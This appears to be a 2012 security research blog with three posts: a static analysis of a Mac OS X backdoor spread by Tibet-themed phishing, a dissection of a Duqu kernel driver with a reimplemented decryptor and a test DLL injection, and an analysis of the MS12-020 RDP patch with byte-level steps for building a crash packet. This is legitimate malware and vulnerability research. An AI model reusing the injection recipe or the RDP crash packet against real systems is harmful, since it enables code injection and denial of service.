Thursday, 29 March 2012

No Café in Tibet, Babe

As reported by Alienware, there is a new spearphishing email campaign circulating in the wild at the moment. The non-governmental organizations related to Tibet are being forwarded MS Office files that exploit MS09-027 vulnerability.

The malcrafted Microsoft Office Word documents carry a MacOS remote administration tool. When a user opens such document using Office for Mac, the shellcode will drop and execute the backdoor trojan and then it will open up a document with a political content related to Tibet.

The Alienware write-up provides details about the embedded script and dynamic characteristics of the backdoor trojan.

Let's analyse this trojan statically to reveal the full scope of its functionality.

First, the Word document binary dump reveals that a bash script that launches the dropped document is followed with 0xCAFEBABE ("cafe babe") bytes that mark a Mach-O fat file binary:

When started, the executable will check if its own file name matches "/Library/launched":

mov edx, ds:executablePath
mov [esp+4], edx
mov [esp], eax
; get current executable path
call _objc_msgSend

mov edi, eax
mov esi, ds:Library_launched
mov [esp+8], esi
mov eax, ds:isEqualToString_drain
mov [esp+4], eax
mov [esp], edi
; is it "/Library/launched"?
call _objc_msgSend

mov edx, 1
test al, al
jnz quit ; if so, then quit

If its own path file name is not "/Library/launched", it will delete a file at that location if it exists, and then it will copy itself under that name.

mov dword ptr [esp+8], offset LibraryLaunched
mov eax, ds:fileExistsAtPath
mov [esp+4], eax
mov [esp], ebx
; does /Library/launched exist?
call _objc_msgSend

test al, al
jz short copy_itself
mov dword ptr [esp+8], offset LibraryLaunched ; "/Library/launched"
mov eax, ds:isDeletableFileAtPath
mov [esp+4], eax
mov [esp], ebx
; can it be deleted?
call _objc_msgSend

test al, al
jz short copy_itself
mov dword ptr [esp+0Ch], 0
mov dword ptr [esp+8], offset LibraryLaunched ; "/Library/launched"
mov eax, ds:removeItemAtPath
mov [esp+4], eax
mov [esp], ebx
; delete the file
call _objc_msgSend


mov dword ptr [esp+10h], 0
mov [esp+0Ch], esi
mov [esp+8], edi
mov eax, ds:moveItemAtPath_toPath
mov [esp+4], eax
mov [esp], ebx
; copy itself
call _objc_msgSend

Next, it will create a directory "/Library/LaunchAgents/" and within that directory it will create a configuration file One of the specified parameters, RunAtLoad, will make sure the trojan starts whenever the system starts.

mov dword ptr [esp+20h], 0
mov dword ptr [esp+1Ch], offset Runatload ; "RunAtLoad"
mov [esp+18h], eax
mov dword ptr [esp+14h], offset Program ; "Program"
mov eax, [ebp+arg_0]
mov [esp+10h], eax
mov dword ptr [esp+0Ch], offset Label ; "Label"
mov [esp+8], ebx
mov eax, ds:dictionaryWithObjectsAndKeys
mov [esp+4], eax
mov eax, ds:NSDictionary
mov [esp], eax
; create NSDictionary
; with the couples above
call _objc_msgSend

mov dword ptr [esp+0Ch], 1
mov edx, [ebp+var_1C]
mov [esp+8], edx
mov edx, ds:writeToFile_atomically
mov [esp+4], edx
mov [esp], eax
; save them into config
call _objc_msgSend

Next, it will open its own file and read command-and-control server details that are appended at the end of the file. The domain name will then be resolved with gethostbyname() API to obtain the IP address of the server. Please note that code relies on an existence of the marker 0x013268B2:

mov [esp+0Ch], ebx
mov dword ptr [esp+8], 214h
mov dword ptr [esp+4], 1
lea esi, [ebp+var_230]
mov [esp], esi
; read config data (0x214 bytes)
call _fread
cmp eax, 214h
jnz short exit
cmp [ebp+marker], 13268B2h ; check marker 0x013268B2
jnz short exit
mov eax, [ebp+Numeric_IP]
test eax, eax ; is there numeric IP specified?
jnz short IP_is_Ok ; IP exists, skip
lea eax, [ebp+domain_name] ; no IP, resolve domain name
mov [esp+4], eax
mov dword ptr [esp], offset DomainName
call _strcpy
mov dword ptr [esp], offset DomainName
; resolve with gethostbyname()
call Domain2Ip
test al, al
jnz short next
mov dword ptr [esp], offset DomainToIpError
; log error "Domain to ip error!"
call _NSLog
mov dword ptr [esp], 0FFFFFFFFh
; exit
call _exit


mov [esp+4], esi
mov dword ptr [esp], offset ClientIP
call _strcpy


mov eax, [ebp+server_port]
mov ds:Port, eax
mov [esp], ebx
; close the file
call _fclose

The presence of the configuration data in the file is visible as:

Following that, the trojan collects system information that includes operating system version, user/machine name, and then submits it to the remote host.

Finally, the backdoor falls into a loop in which it queries the remote server and receives the following commands to perform:

  • Shut down the system

  • Get system information

  • Send the list of processes

  • Run shell command

  • Enlist files in the directories

  • Send over specified file(s)

  • Receive and save file(s)

  • Delete specified files and directories

  • Execute specified files

When a shell command is executed, its output will be redirected and submitted to the server in a separate thread Thread_Function_RecvCommandDataPv() as shown below (e.g. an "ls" command will enlist files and the output with the enlisted file and directory names will be submitted to the remote server):

mov edx, [ebp+var_D4]
mov [esp+8], edx
mov eax, ds:setStandardOutput
mov [esp+4], eax
mov [esp], edi
call _objc_msgSend

mov dword ptr [esp+8], offset cfstr_BinSh ; "/bin/sh"
mov eax, ds:setLaunchPath
mov [esp+4], eax
mov [esp], edi
call _objc_msgSend

mov eax, ds:launch
mov [esp+4], eax
mov [esp], edi
call _objc_msgSend

mov ecx, [ebp+var_D0]
mov [ebp+var_38], ecx
mov [ebp+var_34], esi
lea eax, [ebp+var_38]
mov [esp+0Ch], eax
mov dword ptr [esp+8], offset Thread_Function_RecvCommandDataPv
mov dword ptr [esp+4], 0
lea eax, [ebp+var_30]
mov [esp], eax
; spawn a thread that submits command output
call _pthread_create

Such arsenal of the remote commands allows turning the compromised MacOS X system into a zombie, giving full control to the remote attacker.

Friday, 23 March 2012

Actually, my name is Duqu - Stuxnet is my middle name

A couple of days ago, Symantec Security Response discovered a new strain of Duqu, a close relative of Stuxnet that is compiled from the same source code and shares many similarities with it.

The only captured sample is a kernel mode driver. It is not clear if this driver was accompanied with other previously unseen components of if it was the only modified part of the latest known set of Duqu files. To get some answers about its functionality, let's dissect the newly discovered Duqu driver both statically and dynamically.

Decoding Parameters

A quick static view shows that the driver starts its execution from decoding a built-in parameters section:

.text:00010D90 sub_decode_parameters proc near
.text:00010D90 push esi
.text:00010D91 mov eax, 0B86249A9h
.text:00010D96 xor ecx, ecx
.text:00010D98 push edi
.text:00010D99 lea esp, [esp+0]
.text:00010DA0 loop:
.text:00010DA0 xor byte_14F90[ecx], al
.text:00010DA6 mov esi, eax
.text:00010DA8 and esi, 0Bh
.text:00010DAB shl esi, 18h
.text:00010DAE shr eax, 5
.text:00010DB1 or esi, eax
.text:00010DB3 and esi, 1FFFFFFFh
.text:00010DB9 mov eax, esi
.text:00010DBB imul esi, eax
.text:00010DBE mov edi, eax
.text:00010DC0 imul edi, 0F64301Ah
.text:00010DC6 xor esi, 395Ch
.text:00010DCC lea esi, [esi+edi+0Dh]
.text:00010DD0 add ecx, 1
.text:00010DD3 xor eax, esi
.text:00010DD5 cmp ecx, 574 ; 574 bytes in total
.text:00010DDB jb short loop
.text:00010DDD mov ax, word ptr buf_enc
.text:00010DE3 test ax, ax
.text:00010DE6 pop edi
.text:00010DE7 pop esi
.text:00010DE8 jnz short exit
.text:00010DEA movzx ecx, word ptr [edx]
.text:00010DED mov edx, [edx+4]
.text:00010DF0 push ecx ; size_t
.text:00010DF1 push edx ; void *
.text:00010DF2 push offset buf_enc
.text:00010DF7 call memcpy
.text:00010DFC add esp, 0Ch
.text:00010DFF exit:
.text:00010DFF retn
.text:00010DFF sub_decode_parameters endp

The built-in parameters are a common technique that allows hard-coding some variable parameters into the executable body without the need to recompile the executable itself. Just like in case of ZeuS (that calls it a "static configuration"), a stand-alone script is likely to be invoked in this case to patch a pre-compiled executable stub with the encrypted parameters - a scheme that allows spitting out new executables "on-the-fly" and thus allows to be used in the server-based polymorphism.

But what are the hard-coded parameters in this case?

Stepping through the code reveals the decoded parameters:

The decoded parameters are:
  • Name of the device to be created:

  • Registry branch that will be used to store the driver information:

  • Registry value FILTER that is known from the previous Duqu variant to contain encoded injection parameters

Following that, the driver code creates device objects with IoCreateDevice() by using the names:

Duqu then creates a WorkItem routine for a work item, then it inserts the work item into a queue for a system worker thread. Once a system worker thread pulls the work item from the queue, it will call the specified callback routine - a place where the rest of the driver functionality resides.

Checking the integrity of ZwAllocateVirtualMemory()

Once the callback routine is invoke, Duqu calls ZwQuerySystemInformation() API with the SystemModuleInformation parameter to obtain the list of modules loaded into the kernel. Name of every enumerated module is then compared with _stricmp() to "ntkrnlpa.exe" or "ntoskrnl.exe" strings in order to find the image base of those modules.

With the known image base of the kernel image, the driver then parses its PE-file structure. In order to hide its intentions, the code conceals the searching for "PE" signature as detecting that kind of code immediately raises suspicion. Instead, it XOR-es the PE signature field with 0xF750F284, then checks if the result is equal 0xF750B7D4, as shown below:

.text:00012F1E mov eax, 'ZM' ; MZ header
.text:00012F23 cmp [esi], ax
.text:00012F26 jz short next ; get lfanew
.text:00012F2D next:
.text:00012F2D mov eax, [esi+3Ch] ; get lfanew
.text:00012F30 add eax, esi ; add it to image base
.text:00012F32 mov ecx, [eax] ; read the DWORD from there
.text:00012F34 xor ecx, 0F750F284h ; it must be 'P' 'E' '0' '0'
.text:00012F3A cmp ecx, 0F750B7D4h
.text:00012F40 jnz short quit ; if no PE-signature, quit

Following the PE headers check, the code starts enumerating all sections within the kernel image, inspecting all those sections that are readable/executable and have a name ".text" or "PAGE". The section name check is carried out by hashing section name and then checking the hash against 2 known hashes of ".text" and "PAGE" - 0xAB405E8F and 0x18DB09E1:

.text:00012040 check_next_section:
.text:00012040 movzx eax, di
.text:00012043 lea edx, [eax+eax*4]
.text:00012046 mov eax, [ebp+edx*8+24h]
.text:0001204A lea esi, [ebp+edx*8+0]
.text:0001204E and eax, 62000020h ; ignore non-page flag
.text:00012053 cmp eax, 60000020h ; make sure it's read/exec
.text:00012058 jnz short inc_check_next_section
.text:0001205A mov ecx, esi
.text:0001205C call hash_section_name
.text:00012061 cmp eax, 0AB405E8Fh ; hash of ".text" string
.text:00012066 jz short next
.text:00012068 cmp eax, 18DB09E1h ; hash of "PAGE" string
.text:0001206D jnz short inc_check_next_section

Once it locates the image section that it is happy with, it starts an interesting routine to process that section and make sure it can recognise the implementation of ZwAllocateVirtualMemory() function within that section. Here is how it does that.

The code will start parsing the export table of the kernel image ntkrnlpa.exe. It will then hash the exported function names looking for the hashes of the APIs it is interested in, and collecting the addresses of those APIs:

.text:0001219D lea eax, [esp+34h+ptr]
.text:000121A1 push 47E31156h ; hash of "PsGetProcessSessionId"
.text:000121A6 push eax
.text:000121A7 call find_api_by_hash
.text:000121AC lea ecx, [esp+3Ch+ptr]
.text:000121B0 push 0C9FD3510h ; hash of "PsGetProcessPeb"
.text:000121B5 push ecx
.text:000121B6 mov PsGetProcessSessionId, eax
.text:000121BB call find_api_by_hash
.text:000121C0 lea edx, [esp+44h+ptr]
.text:000121C4 push 612F3500h ; hash of "PsLookupProcessByProcessId"
.text:000121C9 push edx
.text:000121CA mov PsGetProcessPeb, eax
.text:000121CF call find_api_by_hash
.text:000121D4 mov PsLookupProcessByProcessId, eax
.text:000121D9 lea eax, [esp+4Ch+ptr]
.text:000121DD push 1407F237h ; hash of "PsSetLoadImageNotifyRoutine"
.text:000121E2 push eax
.text:000121E3 call find_api_by_hash
.text:000121E8 lea ecx, [esp+54h+ptr]
.text:000121EC push 4A1D957Fh ; hash of "KeStackAttachProcess"
.text:000121F1 push ecx
.text:000121F2 mov PsSetLoadImageNotifyRoutine, eax
.text:000121F7 call find_api_by_hash
.text:000121FC lea edx, [esp+5Ch+ptr]
.text:00012200 push 7E676A4Ch ; hash of "KeUnstackDetachProcess"
.text:00012205 push edx
.text:00012206 mov KeStackAttachProcess, eax
.text:0001220B call find_api_by_hash
.text:00012210 add esp, 40h
.text:00012213 mov KeUnstackDetachProcess, eax
.text:00012218 lea eax, [esp+24h+ptr]
.text:0001221C push 0D3C50AD9h ; hash of "ObOpenObjectByPointer"
.text:00012221 push eax
.text:00012222 call find_api_by_hash
.text:00012227 lea ecx, [esp+2Ch+ptr]
.text:0001222B push 0E5AC234h ; hash of "ZwQuerySystemInformation"
.text:00012230 push ecx
.text:00012231 mov ObOpenObjectByPointer, eax
.text:00012236 call find_api_by_hash
.text:0001223B lea edx, [esp+34h+ptr]
.text:0001223F push 0F82D7E6Dh ; hash of "ZwAllocateVirtualMemory"
.text:00012244 push edx
.text:00012245 mov ZwQuerySystemInformation, eax
.text:0001224A call find_api_by_hash
.text:0001224F mov ZwAllocateVirtualMemory, eax
.text:00012254 lea eax, [esp+3Ch+ptr]
.text:00012258 push 7C19400Ch ; hash of "ZwOpenFile"
.text:0001225D push eax
.text:0001225E call find_api_by_hash
.text:00012263 lea ecx, [esp+44h+ptr]
.text:00012267 push 0DA18F72Ch ; hash of "ZwQueryInformationFile"
.text:0001226C push ecx
.text:0001226D mov ZwOpenFile, eax
.text:00012272 call find_api_by_hash
.text:00012277 lea edx, [esp+4Ch+ptr]
.text:0001227B push 0C840A85Dh ; hash of "ZwQueryInformationProcess"
.text:00012280 push edx
.text:00012281 mov ZwQueryInformationFile, eax
.text:00012286 call find_api_by_hash
.text:0001228B mov ZwQueryInformationProcess, eax
.text:00012290 lea eax, [esp+54h+ptr]
.text:00012294 push 8619E771h ; hash of "ZwReadFile"
.text:00012299 push eax
.text:0001229A call find_api_by_hash
.text:0001229F add esp, 38h
.text:000122A2 mov ZwReadFile, eax

Once the API addresses it needs are obtained, it starts parsing the entire section of the kernel image looking for the byte sequence 68 04 01 00 00. These bytes correspond to "push 104h" instruction:

.text:00011ED0 next_byte:
.text:00011ED0 mov edx, [esi]
.text:00011ED2 cmp edx, dword ptr ds:push_104h
.text:00011ED8 jz short found_push_104h
.text:00011EDA add esi, 1
.text:00011EDD cmp esi, ecx
.text:00011EDF jbe short next_byte

Once "push 104h" instruction is found, it starts looking for an instruction that follows it, an instruction that starts from E8 (CALL) and followed with a relative offset of the function to call. The code makes sure that the offset is precisely equal to a difference between the virtual address of the next instruction that follows CALL (5 bytes forward) and the virtual address of the function ZwAllocateVirtualMemory() - an address that it has just retrieved from the import address table of ntkrnlpa.exe. That is, it makes sure the offset corresponds ZwAllocateVirtualMemory() function:

.text:00011C60 loop:
.text:00011C60 lea ebp, [eax+edi] ; EDI=ntkrnlpa.exe base, starts from IAT
.text:00011C63 cmp ebp, esi ; pointer limit
.text:00011C65 jnb short exit
.text:00011C67 cmp byte ptr [ecx], 0E8h ; E8 = CALL opcode
.text:00011C6A jnz short next_byte
.text:00011C6C mov ebp, [ecx+1]
.text:00011C6F lea ebp, [ecx+ebp+5]
.text:00011C73 cmp ebp, edx ; EDX=ZwAllocateVirtualMemory() address
.text:00011C75 jz short found_ZwAllocateVirtualMemory
.text:00011C77 next_byte:
.text:00011C77 add eax, 1
.text:00011C7A sub ecx, 1
.text:00011C7D cmp eax, 128 ; limit = 128 bytes
.text:00011C82 jb short loop ; EDI=ntkrnlpa.exe base, starts from IAT

For example, it aims to find the following code construction within ntkrnlpa.exe (note the "push 104h" instruction encoded as 68 04 01 00 00 and the last instruction's opcode of E8):

.text:8052111C 68 04 01 00 00 push 104h ; PAGE_READWRITE | PAGE_GUARD
.text:80521121 50 push eax ; AllocationType
.text:80521122 8D 45 E0 lea eax, [ebp+AllocationSize]
.text:80521125 50 push eax ; AllocationSize
.text:80521126 53 push ebx ; ZeroBits
.text:80521127 8D 45 E4 lea eax, [ebp+BaseAddress]
.text:8052112A 50 push eax ; BaseAddress
.text:8052112B 6A FF push 0FFFFFFFFh ; ProcessHandle
.text:8052112D E8 96 C2 FD FF call ZwAllocateVirtualMemory

In the context of ZwAllocateVirtualMemory() call, the "push 104h" instruction means passing that function a "Protect" parameter as PAGE_READWRITE and PAGE_GUARD.

Next, it enumerates all the section headers within ntkrnlpa.exe looking for a section with a virtual address space enclosing the virtual address of ZwAllocateVirtualMemory(). In short, it needs to know what section of the PE image implements ZwAllocateVirtualMemory() function.

.text:00012E66 next_section:
.text:00012E66 movzx eax, di
.text:00012E69 imul eax, 28h
.text:00012E6C add eax, esi
.text:00012E6E mov ecx, [eax+8] ; section virtual size
.text:00012E71 mov edx, [eax+10h] ; section's raw data size
.text:00012E74 cmp ecx, edx
.text:00012E76 jb short next
.text:00012E78 mov ecx, edx
.text:00012E7A next:
.text:00012E7A mov eax, [eax+0Ch] ; section RVA
.text:00012E7D add eax, [ebp+image_base] ; section VA
.text:00012E80 cmp [ebp+ZwAllocateVirtualMemory], eax
.text:00012E83 jb short inc_section_number ; jump if section VA
.text:00012E83 ; is less than ZwAllocateVirtualMemory
.text:00012E85 add eax, ecx ; section VA + size = end of section
.text:00012E87 cmp [ebp+ZwAllocateVirtualMemory], eax
.text:00012E8A jb short found_section ; ZwAllocateVirtualMemory must be
.text:00012E8C ; less than the end of section
.text:00012E8C inc_section_number:
.text:00012E8C inc edi ; if not, increment section counter
.text:00012E8D cmp di, bx ; make sure it's less than section num
.text:00012E90 jb short next_section ; check next section

The section that it finds must also be ".text" or "PAGE", and must be read/executable:

.text:00011CC8 mov ecx, [edi+24h] ; get section's characteristics
.text:00011CCB and ecx, 62000020h ; ignore non-page flag
.text:00011CD1 cmp ecx, 60000020h ; read/executable?
.text:00011CD7 jnz short loop
.text:00011CD9 mov ecx, edi
.text:00011CDB call hash_section_name
.text:00011CE0 cmp eax, 0AB405E8Fh ; hash of ".text" string
.text:00011CE5 jz short next ; found ".text"
.text:00011CE7 cmp eax, 18DB09E1h ; hash of "PAGE" string
.text:00011CEC jnz short loop ; neither ".text" nor "PAGE", get next

Once it locates precisely where ZwAllocateVirtualMemory() is implemented:

.text:00011CFA mov edx, [edi+0Ch] ; section RVA
.text:00011CFD add edx, [ebp+8] ; + image_base = section VA
.text:00011D00 add edx, eax ; end of section
.text:00011D02 lea eax, [esi+14h] ; VA of ZwAllocateVirtualMemory
.text:00011D05 cmp eax, edx
.text:00011D07 ja short loop
.text:00011D09 call matches_ZwAllocateVirtualMemory_opcodes
.text:00011D0E test al, al
.text:00011D10 jnz short found_match

it starts matching the opcodes of this function to its own internal opcode mask:

.text:00011BC5 sub ecx, offset opcodes_mask
.text:00011BCB lea edx, [eax+1]
.text:00011BCE mov edi, edi
.text:00011BD0 check_next_byte:
.text:00011BD0 mov bl, ds:opcodes_mask[ecx+eax]
.text:00011BD7 and bl, ds:opcodes_mask[eax]
.text:00011BDD cmp bl, ds:expected_opcodes[eax]
.text:00011BE3 jnz short quit
.text:00011BE5 add eax, edx
.text:00011BE7 cmp eax, 20 ; check 20 bytes only
.text:00011BEA jb short check_next_byte

The expected_opcodes and opcodes_mask mentioned above are defined in the code as shown below (expected_opcodes is selected in yellow, opcodes_mask is selected in blue):

If a byte in the mask is 00, the corresponding opcode byte is ignored; if it's FF, the opcode byte must have an exact match with the expected opcode byte. The expected_opcodes masked with the opcodes_mask reveal the exact implementation of ZwAllocateVirtualMemory() within ntkrnlpa.exe:

By checking if ZwAllocateVirtualMemory() code matches a known opcode pattern, Duqu is able to find out if there are any hooks placed for the kernel's ZwAllocateVirtualMemory() API.

Querying FILTER value

Duqu driver next proceeds to its final stage - code injection into the userland process.

The techniques that inject code into the usermode processes from the kernel mode are not new, but unlike threats like Rustock, Duqu does not carry the stub to inject inside its own body. Instead, it is configured to be used in a more flexible manner. It is likely that the driver was developed by a separate programmer who then provided an interface for other members of his crew to use it. He must have described the interface as "encrypt a DLL to inject this way, create a registry value for my driver, save all the required parameters in it so that my driver would know where to find your DLL, how to unpack it, and where to inject it, then drop and load my driver, understood?".

With this logic in mind, the functionality of the driver is encapsulated and completely delimited from other components - the dropper only needs to drop a DLL to inject, take care of the parameters to put into the registry, and then load the driver. The driver will take care of the rest.

The parameters that the dropper passes to the driver are stored in the registry value with a name that is hard-coded into the driver body - this value was already decoded above - it is called FILTER.

The driver opens the registry key mcd9x86 with ZwOpenKey(), then queries its FILTER value with ZwQueryValueKey() (dynamically retrieved from the kernel image), then calls a decryptor in order to decode the parameters passed via that value.

The decryptor function is called with some input values: EDX pointing into the encrypted content, ESI containing the content size, and EAX containing the initial key value (the seed) of 0x59859a12. During the decryption, the key will change its value too, forming a simple multiplication rolling key scheme:

.text:00012520 sub_decrypt proc near
.text:00012520 xor eax, 0B86249A9h
.text:00012525 xor ecx, ecx
.text:00012527 test esi, esi
.text:00012529 jbe short exit
.text:0001252B push ebx
.text:0001252C push edi
.text:0001252D lea ecx, [ecx+0]
.text:00012530 loop:
.text:00012530 xor [ecx+edx], al
.text:00012533 mov edi, eax
.text:00012535 and edi, 0Bh
.text:00012538 shl edi, 18h
.text:0001253B shr eax, 5
.text:0001253E or edi, eax
.text:00012540 and edi, 1FFFFFFFh
.text:00012546 mov eax, edi
.text:00012548 imul edi, eax
.text:0001254B mov ebx, eax
.text:0001254D imul ebx, 0F64301Ah
.text:00012553 xor edi, 395Ch
.text:00012559 lea edi, [edi+ebx+0Dh]
.text:0001255D add ecx, 1
.text:00012560 xor eax, edi
.text:00012562 cmp ecx, esi
.text:00012564 jb short loop
.text:00012566 pop edi
.text:00012567 pop ebx
.text:00012568 exit:
.text:00012568 retn
.text:00012568 sub_decrypt endp

The initial content of the FILTER value is not known, as the driver was found without a dropper. Nevertheless, calling decrypt() function above over the same buffer reverts its content back into original state. Knowing that, it is possible to construct a fake FILTER value for the driver that would contain encrypted fake parameters. Next, the driver can be debugged to see how it decrypts the parameters and how it then parses and uses them.

For start, the decryption function can be replicated in a stand-alone tool, using in-line Assembler, by copy-pasting the disassembled code above:

void Decrypt(DWORD dwSeed, LPBYTE lpbyBuffer, DWORD dwSize)
mov edx, lpbyBuffer /* restore input parameters */
mov esi, dwSize /* EDX is a buffer pointer, ESI - size */
mov eax, dwSeed /* EAX - initial key value (seed) */

xor eax, 0B86249A9h
xor ecx, ecx
test esi, esi
jbe short l_exit
push ebx
push edi
lea ecx, [ecx+0]
xor [ecx+edx], al
mov edi, eax
and edi, 0Bh
shl edi, 18h
shr eax, 5
or edi, eax
and edi, 1FFFFFFFh
mov eax, edi
imul edi, eax
mov ebx, eax
imul ebx, 0F64301Ah
xor edi, 395Ch
lea edi, [edi+ebx+0Dh]
add ecx, 1
xor eax, edi
cmp ecx, esi
jb short l_loop
pop edi
pop ebx

The same function can also be implemented in C++ as:

void Decrypt(DWORD dwSeed, LPBYTE lpbyBuffer, DWORD dwSize)
DWORD dwKey;
DWORD dwCount;
DWORD dwTemp;

dwKey = dwSeed ^ 0xB86249A9;
dwCount = 0;

if (dwSize > 0)
lpbyBuffer[dwCount++] ^= dwKey;
dwTemp = ((dwKey >> 5) | ((dwKey & 0xB) << 24)) & 0x1FFFFFFF;
dwKey = ((dwTemp * dwTemp ^ 0x395C) + 0xF64301A * dwTemp + 13) ^ dwTemp;
while (dwCount < dwSize);

Once implemented, the Decrypt() function can be called as:

void DecryptFile(DWORD dwSeed)
LPBYTE lpbyBase;
DWORD dwSize;

if ((hFile = CreateFile(L"FILE_NAME_TO_DECRYPT",
if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&
((hMap = CreateFileMapping(hFile,
NULL)) != NULL))
if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap,
0)) != NULL)
Decrypt(dwSeed, lpbyBase, dwSize);

The unencrypted data from the registry is known from the previous Duqu versions:

The dump above specifies the name of the DLL to inject (\SystemRoot\inf\netp191.PNF), the name length (0x38), the process name where DLL should be injected (services.exe) and its name length (0x1A).

The byte at the offset 14 indicates if the DLL file is encrypted or not. If its value is 0x03, the DLL is encrypted with the same encryption algorithm as the parameters themselves, only the initial seed value for the key is different - it is specified as 0xAE240682 at the offset 16. The value of 1 means the specified DLL is NOT encrypted (oh, yes).

For simplicity, these parameters will not be modified - they will be taken as they are, including the encryption key. That key (0xAE240682) will be used to encrypt a custom-built DLL.

Placing the parameters dump into a separate file and calling the replicated function DecryptFile() above by using the seed value of 0x59859a12 will produce an encrypted dump. It is convenient to put those encrypted parameters into a REG file as a text:


Now it's time to check how Duqu driver loads the specified DLL netp1091.PNF into services.exe. But first, let's compile a simple test DLL called netp1091.PNF with the code below:

DWORD ul_reason_for_call,
LPVOID lpReserved)
switch (ul_reason_for_call)
wchar_t szProcessFileName[MAX_PATH];
L"Test DLL was loaded successfully!",
return TRUE;

Once loaded, the DLL will just retrieve a path of the executable file of the process where it was loaded, and then display that path in a message box.

The Duqu driver calls PsSetLoadImageNotifyRoutine() API to register a callback function that is subsequently notified whenever an image is loaded. Within that callback, Duqu will map the specified DLL into the specified process. That means, that the test DLL above will only be mapped into services.exe when services.exe process is started.

Once compiled, the test DLL is encrypted by calling DecryptFile() provided above and using the seed value of 0xAE240682 (as specified in the parameters stored in the registry value).

With a virtual machine fired up, the compiled and encrypted DLL file netp191.PNF is saved into c:\windows\inf directory. The aforementioned REG file is imported with the registry editor to place the encrypted parameters into the value FILTER.

Next, the driver is loaded - either with a stand-alone tool or by using Driver Loader tool.

To test the loaded driver in action, Windows calculator is copied as %DESKTOP%\services.exe. When it is launched, the driver's callback function registered with PsSetLoadImageNotifyRoutine() is called that will invoke the DLL injection routine.

As seen on the screenshot taken on Windows 7 (32-bit), the encrypted DLL was decrypted, injected and then executed by the Duqu driver under the Windows calculator process. Please note that netp191.PNF is not visible in the list of the loaded DLLs as it was injected into the heap memory of the host process:

VoilĂ !

Monday, 19 March 2012

MS12-020 Vulnerability for Breakfast

A few days ago Microsoft has released an important update that fixes vulnerabilities in the Remote Desktop Protocol.

The update affects a number of the system files such as Rdpcore.dll and RdpWD.sys. Comparison of the files in the disassembled form before and after update reveals the code changes.

Let's have a look at the code changes that took place in the driver file RdpWD.sys. But first, what's the role of this file in the Remote Desktop Protocol?

When an RDP client connects to the server component of Remote Desktop Services on TCP port 3389, the login and GDI graphics subsystem are initiated in a newly created session. Within that session, the GDI graphics subsystem relies on RDP-specific driver RdpWD.sys - the keyboard and mouse driver that transfers keyboard/mouse events over TCP connection. The driver also creates virtual channels that set up redirection of other hardware devices (disc, audio, printers) - this allows transferring the requested data over the TCP connection.

The code modification took place in the function HandleAttachUserReq(). Here is the snippet of the original driver's source code (v6.1.7600.16385 found on 32-bit Windows 7):

.text:0002F900 lea eax, [ebp+P]
.text:0002F903 push eax
.text:0002F904 push [ebp+P]
.text:0002F907 add esi, 74h
.text:0002F90A push esi
.text:0002F90B call SListRemove
.text:0002F910 quit:
.text:0002F910 mov al, 1

Here is the source of the updated driver (v6.1.7600.16963):

.text:0002F913 lea eax, [ebp+P]
.text:0002F916 push eax
.text:0002F917 push [ebp+P]
.text:0002F91A add esi, 74h
.text:0002F91D push esi
.text:0002F91E call SListRemove
.text:0002F91E ; <-- ADDED BLOCK
.text:0002F923 mov eax, [ebp+P] ; restore pointer in EAX
.text:0002F926 cmp eax, ebx ; compare it to NULL
.text:0002F928 jz short quit ; if NULL, quit
.text:0002F92A cmp [eax+5], bl
.text:0002F92D jnz short quit
.text:0002F92F push eax ; release the pool
.text:0002F930 call WDLIBRT_MemFree
.text:0002F935 quit:
.text:0002F935 mov al, 1

As seen in the update, the original code "forgets" to call WDLIBRT_MemFree() function, which is merely a wrapper around ExFreePoolWithTag() - a function that deallocates a block of pool memory:

.text:00013BA0 WDLIBRT_MemFree proc near ; wrapper for ExFreePoolWithTag()
.text:00013BA0 P = dword ptr 8
.text:00013BA0 mov edi, edi
.text:00013BA2 push ebp
.text:00013BA3 mov ebp, esp
.text:00013BA5 push 0 ; Tag is NULL
.text:00013BA7 push [ebp+P] ; P - pool pointer, passed as an argument
.text:00013BAA call ds:ExFreePoolWithTag
.text:00013BB0 pop ebp
.text:00013BB1 retn 4
.text:00013BB1 WDLIBRT_MemFree endp

But how dangerous is the fact that the original code missed the pool memory release? More importantly, if it's admitted to be a bug (hence, the update), can that bug be exploited?

As it happens, it can. The reported vulnerability (CVE-2012-0002) is attributed by Microsoft to Luigi Auriemma.

Luigi has published an example of a packet that crashes a vulnerable server that runs Remote Desktop Services on TCP port 3389.

To see how a typical packet looks like, take a look at the following example from Microsoft:

Armed with the annotated field descriptions in the packet dump, let's modify this packet the following way:

1. One of the first inconsistencies to fix is to patch a byte at the offset 0x158 with 0.

Indeed, the description states that this field contains 0x00000000 that corresponds to TS_UD_CS_CORE::serverSelectedProtocol.

2. Next, prepend the following bytes to the packet:

03000013 0E E0 0000 0000 00 01 00 0800 00000000

These bytes will encode an RDP connection request:

  • TPKT Header (length = 19 bytes):
    03 -> TPKT: TPKT version = 3
    00 -> TPKT: Reserved = 0
    00 -> TPKT: Packet length - high part
    13 -> TPKT: Packet length - low part (total = 19 bytes)

  • X.224 Data TPDU:
    0E -> X.224: Length indicator = (14 bytes)
    E0 -> X.224: Type = 0xE0 = Connection Confirm
    00 00 -> X.224: Destination reference = 0
    00 00 -> X.224: Source reference = 0
    00 -> X.224: Class and options = 0
    01 -> RDP Negotiation Message (TYPE_RDP_NEG_REQ)
    00 -> flags (0)
    08 00 -> RDP_NEG_REQ length (8 bytes)
    00 00 00 00 -> RDP_NEG_REQ: Selected protocols (PROTOCOL_RDP)

3. Next, attach user request PDU:

03000008 02f08028

03 00 00 08 -> TPKT Header (length = 8 bytes)
02 f0 80 -> X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
28 -> PER encoded PDU contents (select attachUserRequest)

4. Find the Connect-Initial::targetParameters header in the packet: 30 19
30 -> ASN.1 BER encoded SequenceOf type.
19 -> length of the sequence data (25 bytes)

The header is followed with DomainParameters::maxChannelIds field: 02 01 22
02 -> ASN.1 BER encoded Integer type
01 -> length of the integer (1 byte)
22 -> actual value is 34 (0x22)

Replace the old value of maxChannelIds (0x22) with 0 - this byte is located at the packet offset of 0x2C.

The final packet dump will look as shown below (selections in yellow reflect the aforementioned changes 1-4):

All these modifications of the packet are perfectly legitimate, excepting one: setting maxChannelIds value of the targetParameters to 0. That's probably the only "evil" byte in the whole packet. Can there be a signature reliably constructed to catch such packet (a rhetorical question)?

